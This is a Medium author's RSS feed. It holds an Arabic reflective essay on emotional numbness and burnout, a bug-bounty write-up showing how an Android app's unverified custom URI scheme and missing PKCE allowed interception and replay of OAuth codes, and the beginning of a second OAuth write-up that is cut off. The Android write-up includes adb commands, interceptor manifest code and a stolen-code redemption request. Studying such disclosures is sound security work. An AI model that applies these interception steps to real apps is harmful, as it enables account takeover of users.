<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xlight on Medium]]></title>
        <description><![CDATA[Stories by 0xlight on Medium]]></description>
        <link>https://medium.com/@mohamedatefsarhan123?source=rss-25cced41232d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hpS-gQzA6rgaKCFPwlpaPQ.jpeg</url>
            <title>Stories by 0xlight on Medium</title>
            <link>https://medium.com/@mohamedatefsarhan123?source=rss-25cced41232d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:42:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohamedatefsarhan123/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[حين يُعلن عقلك حالة الطوارئ لينقذك من الجنون]]></title>
            <link>https://medium.com/@mohamedatefsarhan123/%D8%AD%D9%8A%D9%86-%D9%8A%D9%8F%D8%B9%D9%84%D9%86-%D8%B9%D9%82%D9%84%D9%83-%D8%AD%D8%A7%D9%84%D8%A9-%D8%A7%D9%84%D8%B7%D9%88%D8%A7%D8%B1%D8%A6-%D9%84%D9%8A%D9%86%D9%82%D8%B0%D9%83-%D9%85%D9%86-%D8%A7%D9%84%D8%AC%D9%86%D9%88%D9%86-bdf4b2d41625?source=rss-25cced41232d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdf4b2d41625</guid>
            <category><![CDATA[mental-health]]></category>
            <category><![CDATA[phylosophy]]></category>
            <category><![CDATA[psycology]]></category>
            <dc:creator><![CDATA[0xlight]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 05:29:15 GMT</pubDate>
            <atom:updated>2026-11-09T05:29:15.436Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aHjZize9oik-TNYIQ3pF1A.png" /></figure><p>عن الإنهاك النفسي، والخدر العاطفي، والتعلّق الذي يستنزف أرواحنا بصمت.</p><p>هناك لحظة غريبة قد يصل إليها الإنسان بعد فترة طويلة من المعاناة والضغط النفسي؛ لحظة لا ينهار فيها كما توقع، ولا يبكي كما اعتاد، ولا حتى يشعر بالحزن بالطريقة التي كان يعرفها.</p><p>فجأة، يصبح كل شيء مختلفًا.</p><p>الأشياء التي كانت تمنحه السعادة لم تعد تثير اهتمامه. الأشخاص الذين كان ينتظر رسائلهم بشغف لم تعد أسماؤهم تحرك بداخله شيئًا. أحلامه التي كان مستعدًا لفعل أي شيء من أجلها أصبحت تبدو بعيدة، وحتى الأشياء التي كانت تؤلمه بشدة لم تعد قادرة على انتزاع رد فعل منه.</p><p>لا يشعر بأنه أصبح أقوى، ولا بأنه تجاوز ما مر به.</p><p>إنه فقط لم يعد يشعر.</p><p>كأن عقله اتخذ قرارًا دون الرجوع إليه، وأعلن حالة طوارئ داخلية:</p><p>لقد تحملنا ما يكفي، ولم يعد بإمكاننا استقبال المزيد.</p><p>قد لا يكون هذا وصفًا علميًا حرفيًا لما يحدث داخل الدماغ، لكنه تعبير عن تجربة نفسية حقيقية يمر بها بعض الأشخاص، حين تتجاوز الضغوط قدرتهم على التحمّل والتكيّف.</p><p>فماذا يحدث للإنسان عندما يصل إلى هذه المرحلة؟ وهل يمكن أن يتوقف العقل عن الشعور، لا لأنه تعافى، بل لأنه أصبح مرهقًا من الألم؟</p><p>١. نقطة الانكسار: عندما تتجاوز الحياة قدرتك على الاحتمال</p><p>نميل إلى الاعتقاد بأن الإنسان قادر على تحمّل كل شيء، ما دام يمتلك الإرادة الكافية.</p><p>نخبر أنفسنا بأن علينا الاستمرار، وأن التعب مؤقت، وأن الأمور ستتحسن في النهاية.</p><p>نتجاهل ما نشعر به، ونؤجل التعامل مع مشكلاتنا، ونقنع أنفسنا بأننا بخير، حتى عندما نكون أبعد ما يكون عن ذلك.</p><p>لكن الحقيقة أن العقل البشري ليس آلة تعمل بلا توقف.</p><p>فالضغوط النفسية المستمرة، سواء كانت نتيجة مسؤوليات متراكمة، أو خيبات أمل متكررة، أو فقدان شخص عزيز، أو خوف دائم من المستقبل، قد تستهلك قدرًا كبيرًا من طاقتنا النفسية.</p><p>في البداية نحاول المقاومة.</p><p>نفكر كثيرًا، ونبحث عن الحلول، ونحاول إصلاح ما يمكن إصلاحه.</p><p>لكن ماذا يحدث عندما تستمر المشكلة، ولا نجد حلًا؟ ماذا يحدث عندما نبذل كل ما لدينا، ثم نكتشف أن الظروف لم تتغير؟</p><p>قد يبدأ الإنسان في فقدان قدرته المعتادة على التعامل مع مشاعره.</p><p>وهنا لا تكون نقطة الانكسار بالضرورة لحظة انهيار واضحة، بل قد تكون بداية انسحاب داخلي لا يلاحظه أحد.</p><p>٢. الخدر العاطفي: عندما يصبح غياب الشعور أكثر راحة من الألم</p><p>من أكثر التجارب النفسية غرابة أن يتحول الألم المستمر إلى حالة من غياب المشاعر.</p><p>نتصور عادةً أن الإنسان الذي يعاني يجب أن يبدو حزينًا، وأن الألم لا بد أن يظهر في صورة دموع أو انفعال أو غضب.</p><p>لكن الأمر ليس بهذه البساطة.</p><p>أحيانًا يظهر الإنهاك النفسي في صورة ما يُعرف بالخدر العاطفي؛ وهي حالة يشعر فيها الإنسان بأنه فقد قدرته المعتادة على الوصول إلى مشاعره أو التعبير عنها.</p><p>تستيقظ في الصباح، فتجد أن الأشياء التي كانت تسعدك لم تعد كذلك.</p><p>تتحدث مع أصدقائك، وتضحك معهم، وتذهب إلى الجامعة أو العمل، وتؤدي مسؤولياتك بصورة طبيعية.</p><p>من الخارج، لا يبدو أن هناك مشكلة.</p><p>لكن داخلك مختلف تمامًا.</p><p>كأنك أصبحت تشاهد حياتك بدلًا من أن تعيشها.</p><p>لا تشعر بالحزن كما كنت، ولا بالسعادة كما اعتدت، ولا بالحماس الذي كان يدفعك إلى الأمام.</p><p>وهنا تظهر مفارقة مؤلمة:</p><p>قد لا يكون غياب الألم دليلًا على التعافي، بل أحيانًا يكون علامة على أنك أصبحت مرهقًا من التعامل معه.</p><p>الخدر العاطفي ليس آلية واحدة مؤكدة يفعّلها العقل لحماية الإنسان، فقد يرتبط بالضغط المزمن أو الاكتئاب أو الصدمات النفسية أو تجارب الانفصال عن المشاعر والواقع.</p><p>لذلك لا ينبغي اعتبار فقدان المشاعر أمرًا طبيعيًا يجب تجاهله، خصوصًا إذا استمر وأثر في الحياة اليومية.</p><p>٣. وضع النجاة: عندما ينشغل عقلك بالبقاء بدلًا من العيش</p><p>يمتلك الإنسان أنظمة بيولوجية تساعده على الاستجابة للمخاطر والتهديدات.</p><p>عندما يدرك الدماغ وجود خطر، تنشط مجموعة من الاستجابات التي تهيئ الجسم للمواجهة أو الهروب أو التجمد.</p><p>وهذه الاستجابات ليست مقتصرة على الأخطار الجسدية؛ فالضغوط النفسية الشديدة قد تؤثر أيضًا في طريقة استجابة الجسم والعقل.</p><p>لكن المشكلة تبدأ عندما تتحول حالة الاستنفار المؤقتة إلى ضغط مستمر.</p><p>قد تجد نفسك دائم التفكير، سريع التوتر، عاجزًا عن الاسترخاء، أو فاقدًا للتركيز.</p><p>وفي بعض الحالات، قد يظهر شعور بالتبلّد أو الانفصال عن المشاعر.</p><p>يمكننا أن نصف هذه التجربة مجازًا بأنها دخول العقل في وضع النجاة؛ أي أن يصبح تركيزه منصبًّا على تجاوز الضغوط بدلًا من الاستمتاع بالحياة.</p><p>فبدلًا من أن تنشغل بالاستمتاع بالحياة وبناء علاقاتك وتحقيق أهدافك، يصبح معظم جهدك النفسي موجهًا نحو تجاوز يوم آخر.</p><p>تستيقظ لتؤدي ما عليك، لا لأنك متحمس لما ينتظرك.</p><p>تستمر لأن التوقف ليس خيارًا واضحًا أمامك.</p><p>وهكذا تتحول الحياة تدريجيًا من تجربة تعيشها إلى سلسلة من الأيام التي تحاول اجتيازها.</p><p>٤. التعلّق العاطفي: عندما يصبح شخص واحد مصدرًا لسعادتك واستنزافك</p><p>ليس كل الإنهاك النفسي ناتجًا عن العمل أو الدراسة أو المسؤوليات.</p><p>أحيانًا، يكون مصدره شخصًا واحدًا.</p><p>قد يكون التعلّق العاطفي من أكثر التجارب استنزافًا عندما يتحول من ارتباط إنساني طبيعي إلى اعتماد مستمر على اهتمام شخص آخر ووجوده وتفاعله معنا.</p><p>تبدأ الحكاية غالبًا بصورة بسيطة.</p><p>شخص يلفت انتباهك، ثم يصبح وجوده مهمًا في يومك. تنتظر رسائله، وتفرح باهتمامه، وتجد نفسك تفكر فيه أكثر مما توقعت.</p><p>لكن مع الوقت، قد يتغير شكل العلاقة التي تعيشها داخليًا.</p><p>تبدأ في تحليل كل كلمة، والبحث عن معنى وراء كل تصرف، وانتظار إشارة صغيرة تمنحك بعض الطمأنينة.</p><p>تتأثر حالتك النفسية بردوده، ويصبح غيابه مصدرًا للقلق، بينما قد تمنحك أبسط مظاهر الاهتمام شعورًا مؤقتًا بالسعادة.</p><p>والمشكلة هنا ليست في الحب أو الاهتمام في حد ذاتهما، بل في أن تصبح راحتك النفسية مرتبطة بصورة شبه كاملة بشخص آخر.</p><p>دائرة التعلّق والانتظار</p><p>في بعض أنماط التعلّق القلق، قد يدخل الإنسان في دائرة متكررة:</p><p>يتعلق بشخص ويصبح وجوده مهمًا للغاية.</p><p>يبدأ في الخوف من فقدانه أو خسارة اهتمامه.</p><p>يبحث باستمرار عن علامات تؤكد أنه ما زال مهمًا بالنسبة إليه.</p><p>يفسر التغيرات الصغيرة في التواصل على أنها إشارات للرفض.</p><p>يشعر بخيبة الأمل، لكنه يجد صعوبة في الابتعاد.</p><p>يستمر في الاستثمار العاطفي، رغم أن العلاقة لا تمنحه القدر نفسه من الأمان.</p><p>ومع الوقت، يتحول الانتظار إلى عادة، والتفكير إلى استنزاف، والأمل إلى مصدر جديد للقلق.</p><p>وقد تستمر هذه الدائرة لأشهر أو سنوات، خاصةً عندما يعيش الإنسان علاقة غير واضحة، أو مشاعر غير متبادلة، أو ارتباطًا لا يعرف إن كان سيصل إلى نهايته أم سيظل مجرد احتمال.</p><p>عندما تتعب من انتظار ما لن يأتي</p><p>تخيل أنك قضيت سنوات تتمنى أن يراك شخص ما بالطريقة نفسها التي تراه بها.</p><p>تحاول الاقتراب، وتبحث عن فرص للتواصل، وتفرح بالتفاصيل الصغيرة، وتبني في خيالك احتمالات كثيرة.</p><p>ثم تمر الأيام، ولا يتغير شيء جوهري.</p><p>تبدأ في الشعور بالتعب.</p><p>تقلل من انتظارك، وتتوقف عن المبادرة أحيانًا، ولا تعود تشعر بالحماس نفسه عندما يظهر هذا الشخص أمامك.</p><p>قد تظن أنك تجاوزت الأمر، لكنك لا تعرف هل تعافيت فعلًا أم أنك فقط استُنزفت إلى الحد الذي لم تعد معه قادرًا على الشعور بنفس الطريقة.</p><p>وهنا سؤال يستحق التأمل:</p><p>هل توقفت عن التعلّق لأنك لم تعد تحب، أم لأنك تعبت من أن تحب وحدك؟</p><p>قد لا تكون الإجابة بسيطة.</p><p>فأحيانًا يكون الابتعاد بداية للتعافي، وأحيانًا يكون التبلّد مجرد علامة على وجود ألم لم تتم معالجته بعد.</p><p>لكن ما يجب أن نفهمه هو أن الحب لا ينبغي أن يتحول إلى معركة مستمرة لإثبات قيمتنا لشخص آخر.</p><p>يمكنك أن تحب شخصًا بصدق، وفي الوقت نفسه تدرك أن استمرارك في انتظار ما لا تستطيع التحكم فيه يؤذيك.</p><p>ليس كل من نتمسك به يجب أن يبقى، وليس كل شعور عميق يستحق أن نخسر أنفسنا من أجله.</p><p>٥. الإرهاق الصامت: أن تستمر في الحياة دون أن تشعر أنك تعيشها</p><p>هناك نوع من الإرهاق لا يستطيع النوم وحده إصلاحه.</p><p>قد تنام ساعات كافية، ثم تستيقظ وكأنك لم ترتح.</p><p>قد تقضي يومًا كاملًا دون فعل شيء، ومع ذلك تشعر بأنك استُنزفت تمامًا.</p><p>تبدأ في تنفيذ مهامك بصورة آلية:</p><p>تستيقظ، تتناول طعامك، تذهب إلى الجامعة أو العمل، تنجز ما عليك، تعود إلى المنزل، ثم تنام.</p><p>كل شيء يستمر.</p><p>لكن الشعور بأنك جزء حقيقي من هذه الحياة يتراجع.</p><p>تنجز، لكنك لا تشعر بالإنجاز.</p><p>تضحك، لكنك لا تشعر بالفرح نفسه.</p><p>تتحدث، لكنك لا تجد الكلمات التي تصف ما بداخلك.</p><p>والأغرب أن الآخرين قد لا يلاحظون أي شيء.</p><p>فقد تكون الشخص الأكثر التزامًا بين أصدقائك، والأكثر انشغالًا بأهدافه، بينما تخوض داخليًا معركة لا يعرف عنها أحد.</p><p>لأن القدرة على أداء المهام لا تعني بالضرورة أنك بخير.</p><p>ولأن استمرارك في الحياة لا يعني أنك تتعافى من كل ما مررت به.</p><p>٦. ثمن تجاهل المشاعر: ما لا تواجهه قد يستمر في التأثير عليك</p><p>نتعامل أحيانًا مع المشاعر وكأنها مشكلة يجب التخلص منها بأسرع وقت.</p><p>نحاول تجاهل الحزن، ونخفي الخوف، ونقاوم خيبة الأمل، ونؤجل التعامل مع الألم بحجة أن لدينا أشياء أهم لنفعلها.</p><p>لكن تجاهل المشاعر لا يعني اختفاءها.</p><p>فقد تستمر التجارب المؤلمة في التأثير على سلوكنا وقراراتنا وعلاقاتنا، حتى عندما لا نفكر فيها بصورة مباشرة.</p><p>قد يتحول الخوف إلى تجنب.</p><p>وقد تتحول خيبة الأمل إلى صعوبة في الثقة بالآخرين.</p><p>وقد يجعلنا التعلّق المؤلم أكثر حساسية تجاه الرفض.</p><p>ومع الوقت، قد نفقد القدرة على فهم ما نشعر به أصلًا.</p><p>ليس لأننا لم نعد نملك مشاعر، بل لأننا أصبحنا بعيدين عن أنفسنا بما يكفي لدرجة أننا لم نعد نفهمها.</p><p>والقوة الحقيقية لا تعني أن تكبت كل شيء، أو أن تتظاهر بأنك لا تتأثر.</p><p>أحيانًا تكون القوة في أن تعترف بأنك تألمت، وأنك بحاجة إلى وقت ومساعدة حتى تتجاوز ما حدث.</p><p>٧. التعافي: كيف تعود إلى نفسك؟</p><p>هل يمكن للإنسان أن يستعيد قدرته على الشعور بعد فترة طويلة من الإنهاك؟</p><p>نعم، يمكن أن يتحسن، لكن التعافي لا يحدث بمجرد اتخاذ قرار بالتوقف عن الحزن.</p><p>إنه عملية تحتاج إلى الصبر والفهم، وأحيانًا إلى مساعدة متخصصة.</p><p>أولًا: اعترف بما تشعر به.</p><p>لا تجبر نفسك على إظهار أنك بخير طوال الوقت. ليس عليك أن تبرر تعبك أو أن تمتلك تفسيرًا لكل ما يحدث داخلك.</p><p>ثانيًا: افصل قيمتك عن اهتمام الآخرين.</p><p>لا تجعل رسائل شخص أو غيابه مقياسًا لقيمتك. أنت لا تصبح أقل أهمية لأن شخصًا لم يمنحك الاهتمام الذي تمنّيته.</p><p>ثالثًا: امنح نفسك فرصة للراحة.</p><p>الراحة ليست مكافأة تحصل عليها بعد إنهاء كل مسؤولياتك. إنها احتياج أساسي، خاصةً عندما تمر بفترة طويلة من الضغط.</p><p>رابعًا: استعد علاقتك بالأشياء الصغيرة.</p><p>لا تنتظر عودة الشغف دفعة واحدة. حاول العودة تدريجيًا إلى الأنشطة التي كنت تستمتع بها، وإلى التواصل مع الأشخاص الذين تشعر معهم بالأمان.</p><p>خامسًا: لا تخض المعركة وحدك.</p><p>التحدث مع شخص تثق به قد يساعدك على فهم ما تمر به. وإذا استمر الخدر العاطفي أو فقدان المتعة أو أثّر ذلك في حياتك اليومية، فمن المهم الاستعانة بمتخصص في الصحة النفسية.</p><p>وتذكر أن التعافي ليس خطًا مستقيمًا؛ فقد تتحسن اليوم وتجد نفسك متعبًا غدًا، وهذا لا يعني أنك عدت إلى نقطة البداية.</p><p>٨. الحقيقة وراء وضع النجاة</p><p>ربما أكثر ما يحتاج الإنسان إلى فهمه هو أن التبلّد ليس بالضرورة قوة، وأن التوقف عن الشعور ليس هو نفسه الشفاء.</p><p>ليس مطلوبًا منك أن تحوّل كل ألم إلى إنجاز، أو كل خيبة أمل إلى درس، أو كل تجربة مؤلمة إلى قصة نجاح تلهم الآخرين.</p><p>ولست مضطرًا إلى أن تكون قويًا طوال الوقت.</p><p>فأحيانًا، يكون الاعتراف بالتعب أهم من محاولة إخفائه.</p><p>وربما لا يكون السؤال الحقيقي هو: لماذا لم أعد أشعر كما كنت؟</p><p>بل: ما الذي مررت به حتى أصبحت أشعر بأن غياب المشاعر أسهل من مواجهة كل ما بداخلي؟</p><p>قد لا تجد الإجابة سريعًا، وقد تحتاج إلى وقت طويل حتى تفهم ما حدث.</p><p>لكن هناك حقيقة تستحق أن تتذكرها:</p><p>أنت لم تُخلق لتقضي حياتك كلها في محاولة النجاة منها.</p><p>أنت تستحق أن تشعر بالسعادة دون خوف من فقدانها، وأن تحب دون أن تفقد نفسك، وأن تعمل من أجل أحلامك دون أن تتحول حياتك إلى سباق لا ينتهي.</p><p>فالحياة ليست مجرد أيام ننجح في تجاوزها.</p><p>إنها تفاصيل صغيرة، ومشاعر صادقة، وعلاقات تمنحنا الأمان، وأحلام نعيش من أجلها.</p><p>وربما تكون أول خطوة نحو استعادة نفسك هي أن تتوقف عن مطالبتها بالصمود طوال الوقت.</p><p>لأنك لا تحتاج إلى أن تنجو من حياتك، بل تحتاج إلى أن تجد طريقك للعيش فيها من جديد.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdf4b2d41625" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How an Android OAuth Custom Scheme Became a Full Account Takeover]]></title>
            <link>https://medium.com/@mohamedatefsarhan123/how-an-android-oauth-custom-scheme-became-a-full-account-takeover-4a43cd9a51ac?source=rss-25cced41232d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a43cd9a51ac</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[0xlight]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 00:10:50 GMT</pubDate>
            <atom:updated>2026-09-18T00:21:05.935Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0jMjGXzd8xyml_mTNS9zA.png" /></figure><p>OAuth is often treated as a solved problem: authenticate the user, issue an authorization code, exchange it for a token, and move on.</p><p>Mobile applications make that assumption dangerous.</p><p>While researching an Android application’s authentication flow, I encountered what initially looked like a relatively small implementation flaw: the application relied on a custom URI scheme to receive its OAuth callback. On its own, this creates an opportunity for another installed application to register the same scheme and intercept the callback.</p><p>The interesting part came next.</p><p>The intercepted authorization code was not protected by PKCE, meaning there was no cryptographic proof tying the code redemption to the application that originally initiated the authentication request. As a result, a code captured by an attacker-controlled application could be replayed from another device and exchanged for an authenticated session.</p><p>In this writeup, I’ll break down the vulnerability from the Android manifest level to the OAuth flow, show how the authorization code was intercepted and redeemed, explain why PKCE was the missing security boundary, and outline the changes that would prevent the attack.</p><h3>1. Starting Point: Inspecting the Android Application</h3><p>The investigation started with the Android APK.</p><p>Rather than immediately attempting exploitation, I first mapped the authentication and deep-link behavior.</p><p>The main questions were:</p><p>How does the application start authentication?</p><p>Which OAuth client is used?</p><p>What redirect URI is registered?</p><p>How does Android receive the callback?</p><p>Is the callback protected by App Links?</p><p>Is PKCE used?</p><p>Can the authorization code be redeemed outside the application?</p><p>The APK was decoded and the Android manifest inspected.</p><p>For example:</p><pre>apktool decode -f -s -o decoded victim.apk</pre><pre>grep -A5 &#39;android:scheme&#39; decoded/AndroidManifest.xml</pre><p>The application contained two relevant intent filters.</p><p>The first was an HTTPS deep link using verification:</p><pre>&lt;intent-filter android:autoVerify=&quot;true&quot;&gt;<br>    &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;</pre><pre>    &lt;data android:scheme=&quot;https&quot;/&gt;<br>    &lt;data android:host=&quot;@string/deep_link_host&quot;/&gt;<br>&lt;/intent-filter&gt;</pre><p>That is the expected Android App Link model.</p><p>The second was much more interesting:</p><pre>&lt;intent-filter&gt;<br>    &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;</pre><pre>    &lt;data android:scheme=&quot;@string/custom_scheme&quot;/&gt;<br>&lt;/intent-filter&gt;</pre><p>There was no android:autoVerify=&quot;true&quot;.</p><p>The relevant scheme resolved to:</p><pre>victim-app://</pre><p>This immediately created a potential interception primitive.</p><h3>2. Why the Custom Scheme Mattered</h3><p>Android custom URI schemes do not provide the same ownership verification mechanism as HTTPS App Links.</p><p>An application can register:</p><pre>&lt;data android:scheme=&quot;victim-app&quot;/&gt;</pre><p>without proving that it owns the namespace.</p><p>That means another application can declare the same scheme.</p><p>I created a minimal test application containing:</p><pre>&lt;intent-filter&gt;<br>    &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;</pre><pre>    &lt;data android:scheme=&quot;victim-app&quot;/&gt;<br>&lt;/intent-filter&gt;</pre><p>After installation, Android recognized the malicious application as a handler for:</p><pre>victim-app://...</pre><p>This could be verified with:</p><pre>adb shell pm query-activities --brief \<br>  -a android.intent.action.VIEW \<br>  -d &quot;victim-app://app/oauth-callback&quot;</pre><p>The malicious package appeared as an eligible handler.</p><p>At this point, there was a possible OAuth interception issue.</p><p>But interception alone does not automatically equal account takeover.</p><p>The next step was understanding the authentication flow.</p><h3>3. Tracing the OAuth Flow</h3><p>The Android application did not perform the entire authentication process internally.</p><p>Instead, the application redirected the user into the system browser.</p><p>A decompiled portion of the application showed the authentication URL being constructed around the mobile OAuth client:</p><pre>var loginLink =<br>    webappUrl.origin +<br>    &quot;/oauth/login?client_id=victim.mobile-app&quot; +<br>    &quot;&amp;redirect_uri=&quot; +<br>    encodeURIComponent(<br>        &quot;victim-app://app/oauth-callback&quot;<br>    );</pre><pre>this.$window.location.href = loginLink;</pre><p>This established several important facts:</p><pre>OAuth client<br>    ↓<br>System browser<br>    ↓<br>Authentication<br>    ↓<br>Custom-scheme redirect<br>    ↓<br>Android Intent<br>    ↓<br>Application</pre><p>The next question was whether the authorization request used PKCE.</p><h3>4. Looking for PKCE</h3><p>A secure mobile OAuth authorization-code flow should normally use:</p><pre>code_challenge<br>code_challenge_method=S256</pre><p>and later require:</p><pre>code_verifier</pre><p>during token exchange.</p><p>I searched the client-side implementation and observed that the authorization request did not contain a PKCE challenge.</p><p>The request effectively looked like:</p><pre>response_type=code<br>client_id=victim.mobile-app<br>redirect_uri=victim-app://app/oauth-callback</pre><p>with no:</p><pre>code_challenge=<br>code_challenge_method=S256</pre><p>That was the first major indication that the authorization code might be usable by anyone who obtained it.</p><p>However, client-side behavior alone was not enough.</p><p>The server had to be tested.</p><h3>5. Testing the Authorization Endpoint</h3><p>I then examined the OAuth authorization endpoint.</p><p>A non-registered redirect URI was submitted as a control request.</p><p>Conceptually:</p><pre>POST https://victim.com/api/oauth/authorize<br>Content-Type: application/x-www-form-urlencoded</pre><pre>response_type=code<br>client_id=victim.mobile-app<br>redirect_uri=attacker://test</pre><p>The server rejected the unknown redirect URI and indicated that the mobile client was restricted to its configured callback schemes.</p><p>The relevant observation was that the legitimate callback scheme was accepted:</p><pre>victim-app://app/oauth-callback</pre><p>The server therefore recognized the vulnerable custom scheme as a legitimate OAuth redirect target.</p><h3>6. Testing Whether PKCE Was Actually Enforced</h3><p>The next test was intentionally simple.</p><p>I compared authorization behavior with and without:</p><pre>code_challenge<br>code_challenge_method=S256</pre><p>No meaningful enforcement difference appeared.</p><p>The authorization endpoint continued processing requests without requiring a challenge.</p><p>That meant PKCE was not merely absent from the mobile client.</p><p>It was also not enforced as a server-side requirement for the flow.</p><p>The security boundary that should have protected an intercepted authorization code was therefore missing.</p><h3>7. Building the Interceptor</h3><p>To prove the Android side of the vulnerability, I created a minimal application that registered the same scheme:</p><pre>&lt;data android:scheme=&quot;victim-app&quot;/&gt;</pre><p>The application extracted the authorization code from the incoming Intent:</p><pre>Uri data = getIntent().getData();</pre><pre>String code =<br>    (data != null)<br>        ? data.getQueryParameter(&quot;code&quot;)<br>        : null;</pre><p>The purpose was deliberately minimal:</p><pre>Receive Intent<br>     ↓<br>Read code parameter<br>     ↓<br>Display captured authorization code</pre><p>There was no special Android permission involved.</p><p>The vulnerability existed because the OAuth callback itself was claimable by another application.</p><h3>8. Validating the Callback Interception</h3><p>The next step was to determine whether a callback containing an authorization code could actually reach the malicious application.</p><p>The OAuth redirect took the form:</p><pre>victim-app://app/oauth-callback?code=&lt;AUTHORIZATION_CODE&gt;</pre><p>I delivered the equivalent Android Intent:</p><pre>adb shell am start \<br>  -a android.intent.action.VIEW \<br>  -d &quot;victim-app://app/oauth-callback?code=&lt;AUTHORIZATION_CODE&gt;&quot;</pre><p>The interceptor application received it.</p><p>The application displayed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOm8c5Nu8ckMzPEW4m47KQ.png" /><figcaption>image from the emulator</figcaption></figure><p>This confirmed the first half of the attack chain:</p><pre>OAuth Server<br>     ↓<br>Authorization Code<br>     ↓<br>Custom URI<br>     ↓<br>Android Intent Resolution<br>     ↓<br>Attacker-Controlled App</pre><p>The authorization code was now in attacker-controlled memory.</p><p>The remaining question was whether the code could be exchanged for a session.</p><h3>9. Testing Authorization-Code Redemption</h3><p>The authorization code was then submitted to the authentication backend from a separate machine.</p><p>The request was conceptually:</p><pre>POST https://victim.com/api/auth/login<br>Content-Type: application/x-www-form-urlencoded</pre><pre>grant_type=authorization_code<br>code=&lt;STOLEN_CODE&gt;</pre><p>No victim browser cookies were included.</p><p>No mobile-device state was included.</p><p>No password was included.</p><p>No MFA code was included.</p><p>Most importantly:</p><pre>No code_verifier</pre><p>was supplied.</p><p>The server accepted the code and returned an authenticated access token.</p><p>The response indicated an authenticated session rather than a partially authenticated state.</p><h3><strong>The Complete Attack Chain</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kw3NBRJ4jwpD3F28VdtGMA.png" /></figure><h3>Impact</h3><p>The practical impact was <strong>account takeover for affected mobile users under the demonstrated conditions</strong>.</p><p>An attacker-controlled application required no special Android permission beyond being able to register the same custom URI scheme.</p><p>Once the victim completed authentication:</p><pre>OAuth code<br>    ↓<br>intercepted<br>    ↓<br>redeemed<br>    ↓<br>authenticated session</pre><p>The resulting session provided access to the victim’s authenticated API surface.</p><p>Depending on the application’s available permissions, this could include:</p><ul><li>reading private messages;</li><li>accessing attached files;</li><li>sending messages as the victim;</li><li>modifying profile information;</li><li>interacting with account recovery functionality;</li><li>managing authentication-related settings.</li></ul><h3>The End</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*TGpj_w1b4r8FNzR8.gif" /></figure><p><em>— </em><strong><em>0xlight</em></strong></p><p>Follow for more :<br>X : <a href="https://x.com/lightx0yagumi">Xaccount </a>— — Linked : <a href="https://www.linkedin.com/in/mohamed-sarhan-590b72279">account</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a43cd9a51ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One-Click Full Account Takeover: How an Unauthenticated OAuth Endpoint Let Anyone Impersonate a…]]></title>
            <link>https://medium.com/@mohamedatefsarhan123/one-click-full-account-takeover-how-an-unauthenticated-oauth-endpoint-let-anyone-impersonate-a-0c2715a18561?source=rss-25cced41232d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c2715a18561</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[0xlight]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 13:45:43 GMT</pubDate>
            <atom:updated>2026-07-16T13:45:43.672Z</atom:updated>
            <content:encoded><![CDATA[<h3>One-Click Full Account Takeover: How an Unauthenticated OAuth Endpoint Let Anyone Impersonate a Cloud Provider and Steal Full-Access Tokens</h3><h3>About Me</h3><p>I’m <strong>Mohamed Atef</strong>, known in the community as <strong>0xlight</strong>. I’m a bug bounty hunter, co-founder of <strong>XTIP</strong>, a threat intelligence platform, and a cybersecurity student. This writeup walks through an OAuth vulnerability I found and fully verified end-to-end — it was later marked as a duplicate on the program, so I’m sharing the technical details here instead.</p><h3>TL;DR</h3><p>While poking around the OAuth infrastructure behind a major cloud provider’s “remote MCP” product line, I found that its <strong>Dynamic Client Registration (DCR)</strong> endpoint — the mechanism meant for OAuth clients to self-register — was completely unauthenticated and unvalidated.</p><p>That meant <em>anyone</em>, with no account and no review process, could:</p><ul><li>Register a brand-new OAuth app with <strong>any </strong><strong>redirect_uri</strong> (no ownership check, HTTP allowed, 